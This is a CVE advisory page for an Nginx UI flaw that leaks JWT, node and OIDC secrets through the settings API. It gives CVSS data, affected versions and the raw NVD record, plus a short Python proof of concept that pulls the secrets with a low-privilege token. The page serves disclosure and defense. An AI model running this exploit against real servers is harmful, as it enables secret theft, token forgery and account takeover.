Security Vulnerability Report
中文
CVE-2026-42223 CVSS 6.5 MEDIUM

CVE-2026-42223

Published: 2026-05-04 21:16:32
Last Modified: 2026-05-06 14:46:25

Description

Nginx UI is a web user interface for the Nginx web server. Prior to version 2.3.8, the GetSettings API handler (api/settings/settings.go:24-65) serializes all settings structs to JSON and returns them to authenticated users. Many sensitive fields are tagged with protected:"true" - however, this tag is only enforced during writes (via ProtectedFill in SaveSettings) and is completely ignored during reads. This exposes 40+ protected fields including JwtSecret (enabling auth token forgery), NodeSecret (enabling cluster node impersonation), OIDC ClientSecret (enabling OAuth account takeover), and the IP whitelist configuration. This issue has been patched in version 2.3.8.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:nginxui:nginx_ui:*:*:*:*:*:*:*:* - VULNERABLE
Nginx UI < 2.3.8

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2026-42223 PoC # Target: Nginx UI < 2.3.8 # Description: Retrieves sensitive settings including JwtSecret via the GetSettings API. target_url = "http://target-ip/api/settings" # Attacker needs a valid low-privilege token headers = { "Authorization": "Bearer <LOW_PRIVILEGE_TOKEN>" } try: response = requests.get(target_url, headers=headers, timeout=10) if response.status_code == 200: data = response.json() # Check for sensitive keys sensitive_keys = ["JwtSecret", "NodeSecret", "ClientSecret"] found_secrets = {k: v for k, v in data.items() if k in sensitive_keys} print(f"[+] Sensitive data leaked: {found_secrets}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-42223", "sourceIdentifier": "[email protected]", "published": "2026-05-04T21:16:32.320", "lastModified": "2026-05-06T14:46:24.977", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Nginx UI is a web user interface for the Nginx web server. Prior to version 2.3.8, the GetSettings API handler (api/settings/settings.go:24-65) serializes all settings structs to JSON and returns them to authenticated users. Many sensitive fields are tagged with protected:\"true\" - however, this tag is only enforced during writes (via ProtectedFill in SaveSettings) and is completely ignored during reads. This exposes 40+ protected fields including JwtSecret (enabling auth token forgery), NodeSecret (enabling cluster node impersonation), OIDC ClientSecret (enabling OAuth account takeover), and the IP whitelist configuration. This issue has been patched in version 2.3.8."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nginxui:nginx_ui:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.3.8", "matchCriteriaId": "FB1A4031-FD2F-49D7-8021-128BA057C4FA"}]}]}], "references": [{"url": "https://github.com/0xJacky/nginx-ui/releases/tag/v2.3.8", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-q4w7-56hr-83rm", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-q4w7-56hr-83rm", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}